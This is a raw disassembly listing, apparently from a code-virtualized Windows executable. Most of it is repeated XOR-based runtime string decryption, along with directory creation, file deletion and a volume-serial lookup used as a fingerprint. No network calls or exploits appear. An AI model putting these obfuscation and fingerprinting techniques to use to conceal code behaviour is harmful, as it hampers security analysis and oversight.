sub r9, rbx
lea rcx, [rbp + 0x3bd0]
mov r8, rbx
call fcn.1400648d0
lea rcx, [rbp + 0x3b70]
call fcn.140064a30
test al, al
jne 0x1400559c9
lea rdx, [rbp + 0x3b70]
lea rcx, [rbp + 0x39d8]
call fcn.140064800
mov rcx, rsi
call fcn.140064a40
lea rcx, [rbp + 0x3b70]
lea rbx, [rdi + rax]
call fcn.140064ae0
lea rcx, [rbp + 0x3bd0]
call fcn.140064a40
cmp rdi, rax
jae 0x140055a07
lea rcx, [rbp + 0x3bd0]
call fcn.140064a40
cmp rbx, rax
jb 0x140055960
lea rcx, [rbp + 0x1688]
call fcn.140064ae0
xor edx, edx
lea rcx, [rbp + 0x39d8]
call fcn.1400647f0
mov rcx, rax
lea rdx, [0x140086268]
call fcn.140065700
test al, al
je 0x140055a3b
mov byte [0x140086e38], 1
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x24]
call fcn.140062ec0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140055a80
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x16c8]
call fcn.140064bd0
xor edx, edx
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x16c8]
movzx ebx, al
call fcn.140064ae0
test bl, bl
jne 0x14005f775
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x25]
call fcn.140062f90
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140055b07
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x16e8]
call fcn.140064bd0
xor edx, edx
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x16e8]
movzx ebx, al
call fcn.140064ae0
test bl, bl
jne 0x14005ebd5
lea rdx, [rbp + 0x690]
lea rcx, [rbp + 0x26]
call fcn.140063020
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140055b8e
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140064bd0
xor edx, edx
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x1708]
movzx ebx, al
call fcn.140064ae0
test bl, bl
jne 0x14005e4b5
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x27]
call fcn.140063080
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x140055d41
mov r8d, r15d
cmp r13d, 2
jl 0x140055cfd
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140055c10
cmp r8d, 0x11
jge 0x140055d41
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140055d10
mov rdx, r10
lea rcx, [rbp + 0x1728]
call fcn.140064bd0
xor edx, edx
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x1728]
movzx ebx, al
call fcn.140064ae0
test bl, bl
jne 0x14005dda5
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x28]
call fcn.1400630d0
mov r10, rax
cmp byte [rax + 0xc], r15b
je 0x140055ec1
mov r8d, r15d
cmp r13d, 2
jl 0x140055e7d
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140055e90
mov rdx, r10
lea rcx, [rbp + 0x1748]
call fcn.140064bd0
mov edx, 1
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x1748]
movzx ebx, al
call fcn.140064ae0
test bl, bl
jne 0x14005d690
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x29]
call fcn.140063130
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x140056041
mov r8d, r15d
cmp r13d, 2
jl 0x140056000
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140056010
mov rdx, r10
lea rcx, [rbp + 0x1768]
call fcn.140064bd0
mov edx, 1
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x1768]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140056089
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], 1
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x2a]
call fcn.140063160
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400560ce
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x1788]
call fcn.140064bd0
mov edx, 1
lea rcx, [rbp + 0x39d8]
mov rbx, rax
call fcn.1400647f0
mov rdx, rbx
mov rcx, rax
call fcn.140065750
lea rcx, [rbp + 0x1788]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140056116
mov byte [0x140086dfd], 1
cmp byte [0x140086e38], r15b
je 0x140057956
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x2b]
call fcn.140063190
mov rcx, rax
cmp byte [rax + 7], r15b
je 0x140056251
cmp r13d, 2
jl 0x140056212
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rcx], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x140056251
mov r9, rcx
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140056220
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x2c]
call fcn.1400631a0
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x140056391
mov r8d, r15d
cmp r13d, 2
jl 0x140056353
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140056360
xor edx, edx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rbp + 0xef8]
lea rcx, [rbp + 0x2d]
call fcn.1400631d0
mov r10, rax
cmp byte [rax + 0x17], r15b
je 0x140056501
cmp r13d, 2
jl 0x1400564c7
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x1400563e0
jmp 0x140056501
mov r9, r10
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400564d0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x1088]
lea rcx, [rbp + 0x2e]
call fcn.1400631f0
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x140056671
mov r8d, r15d
cmp r13d, 2
jl 0x14005662d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140056540
cmp r8d, 0x1b
jge 0x140056671
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x140056640
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x1068]
lea rcx, [rbp + 0x2f]
call fcn.140063220
mov r10, rax
cmp byte [rax + 0x1a], r15b
je 0x1400567e1
mov r8d, r15d
cmp r13d, 2
jl 0x14005679d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400566b0
cmp r8d, 0x1b
jge 0x1400567e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x1400567b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x17a8]
call fcn.140053060
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x30]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x1400568b1
cmp r13d, 2
jl 0x140056875
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x1400568b1
mov r9, r10
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140056880
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3924]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005692d
mov edx, dword [rbp + 0x3924]
lea rcx, [rbp + 0x17c8]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x17e8]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x1428]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x17a8]
call fcn.140064b40
lea rcx, [rbp + 0x1428]
jmp 0x14005694f
lea rcx, [rbp + 0x1828]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x17a8]
call fcn.140064b40
lea rcx, [rbp + 0x1828]
call fcn.140064ae0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x31]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005698d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1848]
call fcn.140064bd0
lea rdx, [rbp + 0x1868]
mov r12, rax
lea rcx, [rbp + 0x32]
call fcn.140063250
mov rdi, rax
cmp byte [rax + 0x1f], r15b
je 0x140056b01
cmp r13d, 2
jl 0x140056ac7
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x20
jl 0x1400569e0
jmp 0x140056b01
mov r9, rdi
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140056ad0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x33]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140056b3e
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1888]
call fcn.140064bd0
lea rdx, [rbp + 0x520]
mov r14, rax
lea rcx, [rbp + 0x34]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140056b91
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x18a8]
call fcn.140064bd0
lea rdx, [rbp + 0x6b0]
mov rsi, rax
lea rcx, [rbp + 0x35]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140056be8
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x18c8]
call fcn.140064bd0
lea rdx, [rbp + 0x3408]
mov rbx, rax
lea rcx, [rbp + 0x36]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140056d61
mov r8d, r15d
cmp r13d, 2
jl 0x140056d1d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
